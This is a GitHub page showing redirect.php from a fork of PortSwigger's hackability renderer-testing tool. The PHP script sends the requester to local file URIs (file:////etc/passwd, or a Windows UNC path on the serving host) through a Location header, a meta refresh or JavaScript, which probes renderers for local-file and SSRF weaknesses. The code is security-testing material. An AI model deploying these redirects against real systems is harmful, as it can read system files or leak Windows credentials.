forked from PortSwigger/hackability
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathredirect.php
31 lines (31 loc) · 960 Bytes
/
redirect.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$redirectType = isset($_GET['redirectType']) ? $_GET['redirectType'] : '';
$os = isset($_GET['os']) ? $_GET['os'] : '';
if($redirectType === 'http') {
if($os === 'windows') {
header("Location: file://\\\\".$_SERVER['HTTP_HOST']."\\map\\exploit_redirect_local_file_iframe_windows");
} else {
header("Location: file:////etc/passwd");
}
exit();
} else if($redirectType === 'meta') {
?>
<html>
<head>
<!-- IGNORE THIS CONTENTS -->
<meta http-equiv="refresh" content="0;url=<?php echo $os === 'windows' ? 'file://\\\\'.$_SERVER['HTTP_HOST'].'\\map\\exploit_redirect_meta_local_file_iframe_windows': 'file:////etc/passwd'?>" />
</head>
</html>
<?php
} else if($redirectType === 'javascript') {
?>
<html>
<head>
<!-- IGNORE THIS CONTENTS -->
<script>location='<?php echo $os === 'windows' ? 'file://\\\\'.$_SERVER['HTTP_HOST'].'\\\\map\\\\exploit_redirect_meta_local_file_iframe_windows': 'file:////etc/passwd'?>';
</script>
</head>
</html>
<?php
}
?>